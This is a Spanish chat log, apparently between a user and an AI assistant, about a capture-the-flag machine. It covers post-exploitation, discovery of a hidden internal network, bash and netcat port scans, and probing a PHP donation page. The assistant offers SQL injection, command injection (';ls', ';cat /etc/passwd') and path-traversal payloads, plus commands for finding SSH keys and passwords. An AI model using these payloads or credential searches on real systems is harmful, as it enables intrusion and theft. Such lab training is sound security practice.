## ✅ 1. Buscar el flag de root

Normalmente lo encontrarás aquí:

```
cat /root/root.txt
```

O a veces:

```
ls -la /root/
```

📌 En algunos CTFs también hay un ``proof.txt``, ``flag.txt`` o incluso alguna sorpresa escondida...



## ✓ 2. Revisar qué más hay en el sistema (post-explotación)

Ahora puedes revisar cosas con total libertad:

- **Usuarios del sistema:**

```
cat /etc/passwd
```

- **Crontabs que puedan haber dado pistas:**

```
ls -la /etc/cron*
```

- **Ver si hay conexiones ocultas o persistencias:**

```
netstat -tulnp
```

- **Ver qué comandos han usado otros usuarios (historiales):**

```
cat /root/.bash_history  
cat /home/*/.bash_history
```

---

## ✓ 3. Limpiar tus rastros (si forma parte del reto)

- Borrar tu reverse shell o cualquier archivo dejado en `/tmp`, `/var/www/html`, etc.
- Revisar procesos con:

```
ps aux
```

---

## ✓ 4. Anotar tu ruta de escalada



En CTFs es clave documentar bien tu proceso. Algo así como:

1. Escaneo con Nmap → descubrimiento de puerto 80
2. Enumeración con Gobuster → ``/cgi-bin/contador.sh``
3. Explotación con Shellshock → acceso como ``www-data``
4. Enumeración local → SUID en ``/usr/bin/php5``
5. Escalada usando ``pcntl_exec('/bin/bash', array('-p'))`` → root shell
6. ``cat /root/root.txt`` → 🎯 Flag conseguido

Puedes guardar eso como **pista para próximos CTFs o para tu writeup si participas en competiciones.**

---

## ✅ 5. ¿Quieres más retos similares?

Si esto te ha molado, te puedo recomendar:

- Máquinas parecidas en **TryHackMe** o **HackTheBox**
  - Retos offline tipo **VulnHub**
  - Rutas de escalada más complejas (kernel exploits, docker breaks, etc.)
- 

¿Quieres que te ayude a hacer un pequeño writeup bonito y ordenado de esta máquina para tu portafolio?

¿O seguimos y te recomiendo otro reto más desafiante ahora que estás en racha? 😊





No hay nada de lo que me has indicado que sea sospechoso, ¿debería buscar algo más?



Buena pregunta — si ya has revisado lo básico y no ves nada más sospechoso, estás en la parte **post-explotación avanzada** de un CTF, donde a veces los creadores esconden algún **easter egg, backdoor, segunda flag o vector alternativo** que te puede sumar puntos o conocimiento extra.

Aquí te dejo una **checklist más avanzada** por si quieres apurar la máquina al máximo antes de darla por cerrada:

## Checklist avanzada para exprimir el sistema al 100%

### 1. Otras flags ocultas o retos secundarios

- A veces hay flags adicionales fuera de ``/root`` o ``/home``, como en:

```
find / -name "*flag*" 2>/dev/null
find / -name "*txt" 2>/dev/null
```

### 2. Archivos ocultos raros

- Busca archivos ocultos tipo ``.secret``, ``.backup``, ``.old``, ``.bak`` o similares:

```
find / -type f \( -name ".*" -o -name "*.bak" -o -name "*.old" \)
2>/dev/null
```

### 3. Mensajes de los creadores o easter eggs

- A veces hay mensajes en  ``/opt/``,  ``/srv/``,  ``/media/``, etc.

```
ls -la /opt/
ls -la /srv/
```



#### 4. Usuarios con archivos raros en su home

```
ls -la /home/*/
```

#### 5. Repositorios internos o código fuente

- Algunos CTFs tienen código fuente escondido (de servicios web, scripts internos, etc.)

```
find / -name "*.php"
find / -name "*.py"
```

#### 6. Credenciales o claves SSH antiguas

```
find / -name "id_rsa" 2>/dev/null
cat /root/.ssh/authorized_keys
```

#### 7. Archivos de configuración con secretos

```
grep -Ri "password" /etc/* 2>/dev/null
grep -Ri "secret" /etc/* 2>/dev/null
```

#### 8. ¿Había otro camino posible para hacer escalada?

Una parte interesante de aprender en CTFs es detectar **otros vectores válidos** aparte del que tú usaste.

- ¿Había algún ``cronjob`` vulnerable?
- ¿Algún archivo ejecutable con permisos ``write`` para ``www-data``?
- ¿Algún script en ``/etc/rc.local``, ``/etc/init.d/``, ``/usr/local/bin/``?
- ¿Algún binario con ``sudo`` permitido para ``www-data`` (``sudo -l``)?





## 9. Revisa logs del sistema por pistas curiosas

A veces hay cosas en los logs del sistema que los creadores dejaron como historia o narrativa del CTF:

```
cat /var/log/auth.log
cat /var/log/apache2/access.log
```

## 10. ¿Está todo limpio o hay persistencias de algún atacante anterior?

(No es tu caso en un CTF local, pero interesante revisar para práctica):

```
ls -la /etc/systemd/system/
ls -la /usr/local/bin/
```

Si después de esto **no encuentras nada más llamativo**, entonces sí: **has completado la máquina a fondo y puedes darla por cerrada con éxito total**



¿Quieres que te ayude a dejar un writeup profesional, tipo pentest report o guía para subir a tu blog/portafolio? O te puedo preparar otra máquina con temática similar pero más desafiante 😊





¿No debería mirar IP's ni nada?



¡Muy buena observación! Sí, **revisar IPs, conexiones de red y posibles accesos externos** también forma parte del proceso de post-explotación — especialmente si quieres asegurarte de que:

1. **No hay comunicaciones ocultas o salientes sospechosas.**
2. **No hay persistencias remotas.**
3. **No estás en una máquina con varios vectores activos o incluso en un entorno multi-homed/red interna oculta** (algo muy típico en CTFs más avanzados).

## Checklist de red para completar bien tu post-explotación:

### 1. 🧠 Ver IPs configuradas en el sistema

```
ip a
```

O bien:

```
ifconfig
```

→ Comprueba si la máquina tiene **más de una interfaz de red** (¡a veces hay una red interna que no habías visto!).

### 2. 🌐 Ver la tabla de rutas

```
ip route
```





→ Si ves algo como ``192.168.2.0/24`` o una ruta por otra interfaz, **quizá hay una red lateral o interna oculta.**

### 3. 📡 Conexiones activas

```
netstat -tunlp
```

O si no tienes ``netstat``, puedes hacer:

```
ss -tunlp
```

→ Verás si hay algún **puerto abierto inesperado, listeners raros o conexiones salientes.**

### 4. 🕒 ¿Qué procesos están conectando a otras IPs?

```
lsof -i
```

→ Si ves que hay procesos haciendo conexiones a otras IPs que no conoces (ej: 10.x.x.x, 172.x.x.x), puede que haya algo más por descubrir.

### 5. 🔍 ARP cache / descubrimiento de hosts

```
arp -a
```

→ ¿Hay más hosts en la red? ¿Solo está tu atacante y la víctima?

---

## ¿Cuándo es útil todo esto?

- Si el CTF es una **infraestructura más compleja** con varias máquinas.
- Si el creador del reto ha preparado un entorno tipo **pivoting / red interna / lateral movement.**



- O si simplemente quieres **aprender a dejar todo bien revisado como un pentester real** 😊

## ¿Quieres que lo veamos paso a paso? Si me pasas:

- La salida de ``ip a``
- La salida de ``ip route``
- La salida de ``netstat -tunlp`` o ``ss -tunlp``

Te puedo decir al vuelo si hay algo más interesante o está todo cerrado y limpio.

¿Te lo reviso contigo ahora?



```
Esta es la salida al mirar la ip: ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc
noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd
00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu
1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:d0:16:62 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.204/24 brd 192.168.1.255 scope
global eth0
        valid_lft forever preferred_lft forever
    inet6 2a0c:5a82:407:b700:79ba:42fc:5d11:55ba/64
scope global temporary dynamic
        valid_lft 602425sec preferred_lft 83425sec
    inet6 2a0c:5a82:407:b700:a00:27ff:fed0:1662/64
scope global dynamic
        valid_lft 4293418876sec preferred_lft
```





```

4293418876sec
    inet6 fe80::a00:27ff:fed0:1662/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu
1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:0f:8e:1a brd ff:ff:ff:ff:ff:ff
    inet 10.10.0.4/24 brd 10.10.0.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe0f:8e1a/64 scope link
        valid_lft forever preferred_lft forever

```



¡Ajá! 💡 ¡Muy buena jugada en revisar eso! Justo aquí está el detalle interesante que muchos pasarían por alto:



## ¡Hay dos interfaces de red activas en esa máquina!

### 📌 Resumen rápido:

- ``eth0``: **192.168.1.204/24** → Red donde hiciste todo el ataque principal.
- ``eth1``: **10.10.0.4/24** → **Otra red completamente diferente**, probablemente parte de una red interna o un segundo entorno oculto del CTF.

Esto **cambia totalmente el panorama**: probablemente hay **otra máquina o servicio oculto detrás** en esa segunda red interna 10.10.0.0/24.



## ¿Qué puedes hacer ahora?

Ya que tienes acceso como **root**, estás en una posición perfecta para explorar esa segunda red interna:

### 1 Escanear la red 10.10.0.0/24 completa desde la propia víctima





```
nmap -sP 10.10.0.0/24
```

O más a fondo:

```
nmap -sS -T4 -p- 10.10.0.0/24
```

## 2 Ver si hay algún host activo en esa red

Puedes probar también:

```
arp-scan 10.10.0.0/24
```

(si no tienes `arp-scan`, puedes instalarlo o usar `ping sweep` y `arp -a`).

## 3 Intentar conectar con otros servicios ocultos

Una vez sepas qué hosts hay, puedes ver si hay:

- Servicios web ocultos (`curl http://10.10.0.X`)
- SSHs internos
- O incluso otra máquina para **pivotear**.

## 4 Usar la víctima como pivot / proxy para moverte a esa red

Si descubres otra máquina, puedes montar un **túnel** (**proxychains**, **chisel**, **ssh -D**, **socat**, **etc.**) para explorarla desde tu atacante.

## 🎯 Posibilidades ahora:

- ¿La red **10.10.0.0/24** tiene otra víctima o flag oculta?
- ¿El CTF era realmente **multi-stage** y ahora empieza la segunda parte?
- ¿Hay algún servicio en esa red que solo se expone internamente?



¿Quieres que te ayude paso a paso a escanear esa red o a montar un túnel para pivotear desde esta máquina hacia allí?

Pinta a que todavía hay misterio por descubrir 🕵️💣 ¿Seguimos?



En la máquina víctima no está instalado Nmap



Perfecto, ¡gracias por aclararlo! No tener ``nmap`` no es un bloqueo, hay varias formas de explorar esa red interna desde tu posición privilegiada como **root**. Aquí van varias alternativas muy efectivas para **escanear sin** ``nmap``:

## 🔍 Alternativas para descubrir hosts y puertos sin Nmap

### ✅ 1. Ping sweep manual con bash

Un método básico pero útil para ver qué hosts están activos en la red 10.10.0.0/24:

```
for ip in $(seq 1 254); do ping -c 1 -W 1 10.10.0.$ip | grep "64 bytes" & done
```

Te dirá qué IPs están activas (si responden al ping).

### ✅ 2. Escaneo de puertos con netcat

Si encuentras alguna IP activa (por ejemplo, ``10.10.0.5``), puedes escanear puertos con ``netcat``:



```
for port in $(seq 1 1000); do nc -zv 10.10.0.5 $port 2>&1 | grep -v refused;
done
```

O para escanear todos los puertos (más lento):

```
for port in $(seq 1 65535); do nc -zv 10.10.0.5 $port 2>&1 | grep -v refused;
done
```

### ✅ 3. Escaneo de puertos con bash y `/dev/tcp`

Otra forma sin netcat ni nmap:

```
for ip in $(seq 1 254); do
    (echo >/dev/tcp/10.10.0.$ip/22) >/dev/null 2>&1 && echo "10.10.0.$ip - puerto
22 abierto"
done
```

Puedes cambiar el puerto a otros comunes: `80`, `443`, `3306`, etc.

### ✅ 4. Instalar herramientas tú mismo

Ahora que eres **root**, también puedes instalar `nmap`, `arp-scan`, `tcpdump`, `net-tools`, etc., directamente:

```
apt update && apt install nmap -y
```

O si quieres algo más ligero:

```
apt install net-tools
```





Esto te facilitará aún más el trabajo.

## ✓ 5. Mirar la caché ARP por si ya hay hosts descubiertos

```
arp -a
```

A veces ya aparecen otras máquinas con las que el sistema ha interactuado previamente.

**¿Quieres que te monte un pequeño script para automatizar esto mejor? O si me dices qué IPs responde al ping, te ayudo con el siguiente paso.**

¿Escaneamos juntos? ¿Probaste el ping sweep ya?



```
Te adjunto la salida del ping sweep manual: for ip in $(seq 1 254); do ping -c 1 -W 1 10.10.0.$ip | grep "64 bytes" & done
64 bytes from 10.10.0.4: icmp_req=1 ttl=64 time=0.038 ms
64 bytes from 10.10.0.3: icmp_req=1 ttl=64 time=0.623 ms
```



¡Genial! Ahora sabemos que **hay al menos dos IPs activas en esa red interna: `10.10.0.4` y `10.10.0.3`**. Vamos a dar el siguiente paso para explorar esos hosts.





## Siguiente paso: Escanear puertos en esas IPs activas

### 1. Escaneo de puertos usando Netcat

Dado que `nmap` no está disponible, puedes usar **netcat** para verificar qué puertos están abiertos en esas IPs.

Primero, probemos con los puertos más comunes: `22` (SSH), `80` (HTTP), `443` (HTTPS).

```
# Escanear puertos comunes en 10.10.0.4
for port in 22 80 443 3306; do nc -zv 10.10.0.4 $port 2>&1 | grep -v refused;
done

# Escanear puertos comunes en 10.10.0.3
for port in 22 80 443 3306; do nc -zv 10.10.0.3 $port 2>&1 | grep -v refused;
done
```

Esto te dirá si hay algún puerto abierto en esas máquinas y te permitirá tener una idea de qué servicios están corriendo.

### 2. Explorar más puertos con Netcat

Si quieres hacer un escaneo más profundo de puertos, puedes probar de nuevo con **todos los puertos** en esas máquinas, pero con un enfoque más lento:

```
# Escaneo de todos los puertos en 10.10.0.4
for port in $(seq 1 65535); do nc -zv 10.10.0.4 $port 2>&1 | grep -v refused;
done

# Escaneo de todos los puertos en 10.10.0.3
for port in $(seq 1 65535); do nc -zv 10.10.0.3 $port 2>&1 | grep -v refused;
done
```



**Nota:** Esto puede tardar un poco, pero te dará una visión completa de qué servicios están corriendo en esas IPs.

### 3. Ver los procesos abiertos en esas IPs

Si tienes acceso a los puertos abiertos (por ejemplo, un puerto `80` con HTTP), puedes intentar obtener más detalles sobre el servicio:

```
curl http://10.10.0.4
curl http://10.10.0.3
```

**¿Qué piensas? ¿Probamos con los puertos comunes o escaneamos todos los puertos? Si necesitas ayuda con algo más, ¡avísame!**



La salida es la siguiente: for port in 22 80 443 3306; do  
nc -zv 10.10.0.3 \$port 2>&1 | grep -v refused; done  
Connection to 10.10.0.3 22 port [tcp/ssh] succeeded!  
Connection to 10.10.0.3 80 port [tcp/http] succeeded!



¡Excelente! 🚀 Ya tenemos algo muy interesante:

 **La IP `10.10.0.3` tiene puertos abiertos en:**

- **Puerto 22 (SSH):** Esto podría significar que hay un servicio SSH corriendo en esa máquina, lo cual te permitiría acceder si tienes las credenciales adecuadas.



- **Puerto 80 (HTTP):** Este puerto indica que hay un servicio web en esa máquina.



## ¿Qué podemos hacer a continuación?

### 1. Explorar el servicio HTTP en `10.10.0.3`

Podemos intentar ver qué está sirviendo en ese puerto web. Haz una petición con `curl` para obtener más información:

```
curl http://10.10.0.3
```

Si hay algo interesante, como un banner, un CMS, o incluso una página de login, eso podría ser una pista.

Si la respuesta es sólo HTML, también puedes intentar añadir más headers o indagar en rutas específicas (por ejemplo, `/admin` o `/login`).

---

### 2. Acceder por SSH si tienes credenciales

Si tienes alguna pista sobre las credenciales para el puerto 22 (SSH), podrías intentar acceder a esta máquina a través de SSH:

```
ssh user@10.10.0.3
```

Si no tienes las credenciales, otra opción es **buscar vulnerabilidades** en el servicio SSH si es que la máquina está corriendo una versión vulnerable (aunque esto es menos probable en un CTF).

---

### 3. Explorar la máquina más a fondo

Si encuentras alguna vulnerabilidad en el servicio HTTP o SSH, o si puedes acceder, puedes proceder a buscar flags o más información.





Si tienes acceso al HTTP, busca directorios o rutas ocultas, como ``/admin``, ``/hidden``, ``/backup``, etc. Si tienes acceso al SSH, comienza a investigar los archivos, configuraciones y rutas sospechosas que puedan llevarte a una nueva bandera.

## ¿Qué prefieres hacer ahora?

- **Explorar el servicio HTTP** en ``10.10.0.3`` con ``curl`` y ver qué encuentras.
- **Intentar acceder por SSH** si tienes credenciales o buscas algo interesante para explotarlas.

¿Qué opción te interesa más para avanzar?



He tratado de hacer el curl cómo has indicado, adjunto la salida: `curl http://10.10.0.3`

```
% Total    % Received % Xferd  Average Speed   Time
Time      Time     Current
                               Dload  Upload  Total  Spent  Left
Speed
100 1996 100 1996    0    0 165k    0 --:--:-- --:--:-- -
-:--:-- 194k
```

```
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-
width, initial-scale=1.0">
  <title>Más Allá Del Muro</title>
  <link href="https://fonts.googleapis.com/css2?
family=Cinzel:wght@400;700&display=swap"
rel="stylesheet">
  <link rel="stylesheet" href="scripts/.css/index.css">
</head>
```





```
<body>

<section class="hero">
  <h1>Más Allá Del Muro</h1>
</section>

<section class="descripcion">
  <p>El peligro acecha más allá del muro. Los caminantes blancos liderados por el Rey de la Noche se acercan a Poniente y el muro es lo único que los separa del reino. La Guardia de la Noche y el Pueblo Libre hemos creado esta página para que todo aquel que quiera aportar a la causa pueda hacerlo. Encontraréis todo tipo de causas a las que podréis aportar, toda ayuda será bien recibida. El reino os necesita, ¡conseguiremos evitar la larga noche!</p>
</section>

<section class="donaciones">
  <h2>Donaciones Disponibles</h2>
  <div class="donaciones-container">
    <div class='donacion'><a href='donacion.php?donacion=1'><img
src='http://cdn.hobbyconsolas.com/sites/navi.axelspringer.es/public/media/image/2022/06/minihobbycine-juego-tronos-vidriagon-1566231.jpg' alt='Vidriagón'>
</a><a href='donacion.php?donacion=1'>Vidriagón</a></div><div
class='donacion'><a href='donacion.php?donacion=2'><img
src='http://espadasymas.com/cdn/shop/files/Armaduras_Medievales_2.webp?v=1733424351&width=600'
alt='Armaduras'></a><a href='donacion.php?donacion=2'>Armaduras</a></div><div
class='donacion'><a href='donacion.php?donacion=3'><img
src='http://cflvdg.avoz.es/sc/YidkcoWzzl-w5UeGf2ROWay1DCk=/768x/2019/08/06/00121565114402621327291/Foto/F26E9009.jpg' alt='Viveres'></a>
<a href='donacion.php?donacion=3'>Viveres</a>
```



```
</div>    </div>
</section>
<footer>
    <p>&copy; Más Allá Del Muro. Todos los derechos
reservados.</p>
</footer>

</body>
</html>
```



¡Perfecto! La respuesta del servicio web en `10.10.0.3` contiene varios elementos interesantes que podemos investigar más a fondo:

## 👁️ Detalles de la página web:

- **Título:** *Más Allá Del Muro* (referencia clara a *Juego de Tronos*).
- **Descripción:** Habla de "La Guardia de la Noche" y "Caminantes Blancos". La narrativa parece estar inspirada en el mundo de *Juego de Tronos*.
- **Donaciones:** Hay una sección donde se mencionan tres artículos: *Vidriagón*, *Armaduras* y *Viveres*. Cada uno tiene un enlace hacia `donacion.php?donacion=X`, lo que indica que estas URL podrían estar relacionadas con el procesamiento de donaciones, y es posible que haya una vulnerabilidad de algún tipo en esa página.



## Posibles siguientes pasos:

### 1. Investigar los enlaces de donación

Dado que los enlaces van a `donacion.php?donacion=1`, `donacion.php?donacion=2`, etc., puede haber algo interesante en esa página. La URL puede estar vulnerable a inyecciones o procesamiento inesperado de parámetros.

Intenta hacer algunas peticiones manuales para ver qué pasa con esos parámetros:

```
curl http://10.10.0.3/donacion.php?donacion=1
curl http://10.10.0.3/donacion.php?donacion=2
```





```
curl http://10.10.0.3/donacion.php?donacion=3
```

## 2. Revisar posibles vulnerabilidades en `donacion.php`

Si puedes acceder a esas páginas, verifica si hay alguna vulnerabilidad de tipo **inyección SQL**, **inyección de comandos**, o cualquier otro fallo que puedas explotar.

Por ejemplo, puedes intentar usar parámetros maliciosos en la URL para ver si hay alguna validación incorrecta:

```
curl http://10.10.0.3/donacion.php?donacion=1%20OR%201=1  
curl http://10.10.0.3/donacion.php?donacion=1;ls
```

Estas pruebas son para detectar posibles vulnerabilidades de **inyección SQL** o **inyección de comandos**.

## 3. Comprobar archivos estáticos y rutas ocultas

También puedes intentar buscar archivos ocultos o directorios adicionales que podrían contener información útil:

```
curl http://10.10.0.3/.hidden  
curl http://10.10.0.3/admin  
curl http://10.10.0.3/backup  
curl http://10.10.0.3/.git
```

A veces los archivos de respaldo o los archivos `.git` pueden contener información sensible.

---

**¿Cómo te gustaría proceder? ¿Probar alguna de estas opciones, o explorar más alguna de las áreas mencionadas?**







Sigue saliendo lo mismo si ejecuto esos comandos, ¿hay algo más que pueda ejecutar para comprobar si tiene vulnerabilidades?



¡Entendido! Si la página no muestra nada nuevo al probar los enlaces de donación, y no ves evidencia de vulnerabilidades evidentes como inyecciones, aún hay algunas otras formas de seguir investigando la máquina.

## Próximos pasos para seguir investigando:

### 1. Verificar encabezados HTTP y cookies

Es útil examinar los encabezados HTTP que la página devuelve, ya que a veces contienen pistas, como la versión del servidor, frameworks utilizados o incluso posibles archivos de configuración.

Para obtener los encabezados HTTP, puedes usar `curl` de la siguiente forma:

```
curl -I http://10.10.0.3
```

Esto devolverá información sobre los encabezados HTTP. Busca detalles como:

- **Servidor:** El nombre del servidor puede indicar la tecnología que estás enfrentando.
- **X-Powered-By:** Esto podría indicar si se está utilizando algún framework vulnerable, como PHP, ASP, etc.
- **Cookies:** Revisa si hay cookies sospechosas que puedas manipular.

### 2. Probar con herramientas de escaneo de vulnerabilidades web

Si tienes acceso a herramientas como **Nikto** o **Gobuster**, puedes usarlas para detectar más detalles sobre posibles rutas, configuraciones inseguras o vulnerabilidades:



**Usando Nikto:** Si tienes **Nikto** instalado en tu máquina, puedes escanear la IP de la siguiente forma para detectar vulnerabilidades web comunes:

```
nikto -h http://10.10.0.3
```

Nikto escaneará posibles fallos de seguridad en el servidor web y devolverá un informe detallado.

### Usando Gobuster para escanear directorios adicionales:

Si no has intentado buscar directorios ocultos con Gobuster, puedes hacerlo con el siguiente comando:

```
gobuster dir -u http://10.10.0.3 -w /usr/share/wordlists/dirb/common.txt
```

Esto buscará directorios y archivos adicionales que puedan estar presentes en el servidor web.

### 3. Verificar la presencia de archivos interesantes

A veces, los servidores web tienen archivos como ``robots.txt`` o `` .git`` que pueden contener información útil. Intenta acceder a ellos directamente:

```
curl http://10.10.0.3/robots.txt  
curl http://10.10.0.3/.git/config
```

Si encuentras un archivo `` .git``, puede ser una buena idea revisar si contiene información sensible que pueda haberse subido por error, como credenciales.

### 4. Revisar posibles vulnerabilidades de PHP en el servidor

En CTFs, a menudo se pueden encontrar fallos en aplicaciones web mal configuradas. Si tienes acceso al código PHP en el servidor (por ejemplo, si puedes acceder a la ruta de ``donacion.php``), busca vulnerabilidades comunes en PHP, como:

- **Inyección de comandos** (``shell_exec``, ``exec``, etc.)



- **Inclusión de archivos** (``include``, ``require``, ``include_once``, etc.)

Si el servidor permite la ejecución de comandos a través de URL o parámetros, podrías estar ante una vulnerabilidad de **remote code execution (RCE)**.

## 5. Revisar fuentes de la página web (JavaScript o comentarios HTML)

A veces la información sobre el sistema o los accesos administrativos se esconde en el código fuente de la página o en los comentarios HTML. Puedes abrir el código fuente de la página en tu navegador o examinarlo con ``curl``:

```
curl -s http://10.10.0.3 | less
```

Revisa si hay algún comentario en el HTML que dé pistas sobre la configuración del servidor, URLs adicionales o posibles vulnerabilidades.

---

**¿Te gustaría intentar alguna de estas opciones o hacer algún otro tipo de búsqueda específica?**



No hay nada de eso instalado en la máquina víctima. Has mencionado que puede ser vulnerable a inyecciones, ¿puedes darme algún otro ejemplo?



¡Entiendo! Si no hay herramientas adicionales como Nikto o Gobuster disponibles en la máquina víctima, podemos continuar explorando la posibilidad de **inyecciones** u otros tipos de vulnerabilidades de una manera manual y con lo que tenemos disponible.



**Algunas inyecciones que podrías probar:**





## 1. Inyección SQL (SQLi) en `donacion.php`

Es posible que la aplicación web esté utilizando el parámetro `donacion` de manera insegura, lo que podría hacerla vulnerable a una inyección SQL.

Podrías intentar manipular el parámetro `donacion` para intentar inyectar una sentencia SQL. Aquí tienes algunos ejemplos:

- **SQLi básica:** Intentar terminar la consulta SQL con una condición siempre verdadera, como `OR 1=1`, para ver si hay algún cambio en el comportamiento de la página.

```
curl "http://10.10.0.3/donacion.php?donacion=1%20OR%201=1"
```

- **SQLi con comentarios:** Puedes intentar usar comentarios SQL (`--` o `#`) para evitar que el resto de la consulta se ejecute, lo que puede revelar más información.

```
curl "http://10.10.0.3/donacion.php?donacion=1%20--%20"
```

- **Inyección más avanzada:** Si la página web tiene algún tipo de base de datos, y el parámetro `donacion` está siendo usado para construir una consulta SQL, puedes intentar un payload más avanzado:

```
curl "http://10.10.0.3/donacion.php?donacion=1%20UNION%20SELECT%20NULL,NULL,NULL--"
```

Esto intenta hacer una inyección que podría revelar información sensible de la base de datos, como nombres de tablas o columnas.

## 2. Inyección de Comandos (Command Injection)

Si la aplicación no valida correctamente los parámetros de entrada, podría ser vulnerable a **inyección de comandos**.



Si la página está ejecutando algún comando en el servidor basado en el parámetro `donacion`, podrías intentar inyectar comandos maliciosos en esa URL. Aquí algunos ejemplos para intentar:

- **Inyección de comando básica** (suponiendo que el parámetro sea procesado como un comando del sistema):

```
curl "http://10.10.0.3/donacion.php?donacion=1;ls"
```

El `;ls` intenta ejecutar el comando `ls` (listar archivos) en el servidor.

- **Inyección de comando avanzada** (con redirección de salida):

```
curl "http://10.10.0.3/donacion.php?donacion=1;cat%20/etc/passwd"
```

Esto podría intentar leer el archivo `/etc/passwd`, que contiene los usuarios del sistema en sistemas Linux/Unix.

### 3. Inyección de encabezados HTTP (HTTP Header Injection)

Si la aplicación no valida correctamente los encabezados HTTP, es posible que pueda ser vulnerable a **inyecciones de encabezados HTTP**, lo que te permitiría realizar ataques como redirecciones HTTP o incluso inyecciones de cabeceras de cookies.

Puedes intentar inyectar nuevos encabezados con un comando `curl` como el siguiente:

```
curl -H "X-Injected-Header: test" http://10.10.0.3/donacion.php?donacion=1
```

Esto inyecta un encabezado personalizado `X-Injected-Header`, que podría ser procesado o manipulado por la aplicación si no está validando correctamente los encabezados.

### 4. Inyección de parámetros en otras rutas



Si la página tiene otros parámetros en las URLs o formularios que podrían estar siendo procesados sin validación adecuada, puedes intentar lo siguiente:

```
curl "http://10.10.0.3/donacion.php?donacion=1' OR 'a'='a"
```

O también realizar pruebas similares en otros parámetros si están presentes en la URL. Esto podría revelar vulnerabilidades en cómo se manejan los parámetros.

## Algunas otras técnicas de investigación:

### 5. Explotar otros parámetros en la URL o formulario

Si encuentras algún formulario, parámetro adicional o parámetros GET en la URL, puedes probar a inyectar caracteres especiales o maliciosos para comprobar cómo los procesa el servidor. A veces se pueden escapar de forma no intencionada en el código PHP.

### 6. Comprobar los logs del servidor

En caso de que puedas ver el contenido de los logs del servidor (por ejemplo, en ``/var/log/apache2/access.log`` o ``/var/log/nginx/access.log``), podrías encontrar detalles sobre los errores de la base de datos o la ejecución de comandos que podrían ayudarte a afinar tus pruebas de inyección.

---

## ¿Qué te gustaría probar a continuación?

- **Intentar inyecciones SQL** para ver si hay alguna respuesta inesperada.
- **Probar inyecciones de comandos** (command injection) para intentar ejecutar comandos en el servidor.
- **Investigar otros parámetros** o formularios que puedan estar procesando datos sin validación adecuada.

¡Dime si quieres proceder con alguna de estas opciones!



No ocurre nada



¡Entiendo que aún no has obtenido resultados al intentar las inyecciones! Esto puede ser frustrante, pero aún hay algunas otras posibles formas de explorar la máquina y las vulnerabilidades que puedas encontrar.

## Más pasos que puedes probar:

### 1. Prueba con Fuzzing Manual

Si las inyecciones que has probado no han dado resultados, puedes intentar hacer un **fuzzing manual**. Esto implica enviar caracteres especiales que a menudo son utilizados en inyecciones o manipulación de parámetros, para ver cómo responde la aplicación. Algunas cadenas que podrías probar son:

- `'`` (comillas simples)
- `"`` (comillas dobles)
- ``;`` (para intentar finalizar comandos)
- ``|`` (para intentar encadenar comandos)
- ``$(command)`` (para inyectar comandos)
- ``--`` (comentarios en SQL)

Ejemplo de un ataque de fuzzing con ``curl``:

```
curl "http://10.10.0.3/donacion.php?donacion=1'"
curl "http://10.10.0.3/donacion.php?donacion=1\"
curl "http://10.10.0.3/donacion.php?donacion=1;ls"
curl "http://10.10.0.3/donacion.php?donacion=$(whoami)"
curl "http://10.10.0.3/donacion.php?donacion=1%20--"
```



Cada uno de estos comandos tiene como objetivo probar la respuesta del servidor a la inyección de diferentes caracteres, que podrían generar un comportamiento inesperado o revelar detalles importantes.

## 2. Ver si hay un formulario vulnerable en el sitio web

Además de los enlaces a las donaciones, puedes revisar si hay formularios de entrada, ya que estos también son comunes puntos de ataque. Si encuentras un formulario, intenta inyectar el mismo tipo de caracteres que en los comandos anteriores:

- **Buscar formularios en el código fuente de la página:** Si ves algo como `<form action="..." method="POST">`, trata de enviar datos con comandos, caracteres especiales o cadenas que puedan desencadenar una vulnerabilidad.

```
curl -X POST -d "campo=1;ls" http://10.10.0.3/formulario.php
```

## 3. Revisar los archivos de configuración PHP

Si tienes acceso a la ruta `/cgi-bin/` o alguna carpeta donde puedas acceder a archivos PHP, revisa los archivos PHP para ver si están mal escritos, tienen errores o funciones inseguras, como `exec()`, `shell_exec()`, `system()`, `passthru()`, etc. Estos son comunes en las aplicaciones PHP que permiten la ejecución de comandos.

## 4. Comprobar si hay vulnerabilidades en la configuración del servidor (Apache/Nginx)

Es posible que el servidor web esté mal configurado o que tenga ciertas vulnerabilidades que aún no has descubierto. Algunas cosas a revisar podrían ser:

- **Archivo `.htaccess`** (si existe) para ver configuraciones incorrectas.
- **Permisos de archivo:** Si puedes ver archivos en el servidor, revisa los permisos de los archivos y directorios. Asegúrate de que los permisos sean correctos.

## 5. Revisar cabeceras HTTP más a fondo

Si no lo has hecho aún, intenta revisar no solo la página, sino las cabeceras HTTP de los recursos relacionados con el sitio web. Podrían indicar una versión vulnerable de algún servidor o framework. Puedes hacerlo con `curl` y la opción `-I`:





```
curl -I http://10.10.0.3
```

## 🔑 Otras opciones de investigación:

1. **Verificar si hay vulnerabilidades de `LFI` (Local File Inclusion):** Si el sitio tiene parámetros que permiten incluir archivos, podrías intentar hacer una **inclusión de archivo local (LFI)**. Para ello, intenta algo como:

```
curl "http://10.10.0.3/donacion.php?donacion=../../../../etc/passwd"
```

Esto intenta leer el archivo `../../../../etc/passwd`, si el servidor permite la inclusión de archivos y no está correctamente validado.

2. **Explorar Directorios y Archivos Ocultos:** Si no lo has hecho, intenta explorar directorios adicionales mediante la manipulación de la URL. A veces, el sitio web tiene archivos ocultos o directorios adicionales que podrían estar mal configurados y ser vulnerables.

```
curl "http://10.10.0.3/.git/config"
curl "http://10.10.0.3/.env"
curl "http://10.10.0.3/robots.txt"
```

3. **Verificar si puedes obtener más información desde el código fuente:** Si no has revisado todo el código HTML y los comentarios, trata de buscar detalles que puedan ser útiles. A veces, se puede descubrir información sensible en el código fuente visible.

---

## ¿Qué te gustaría probar a continuación?

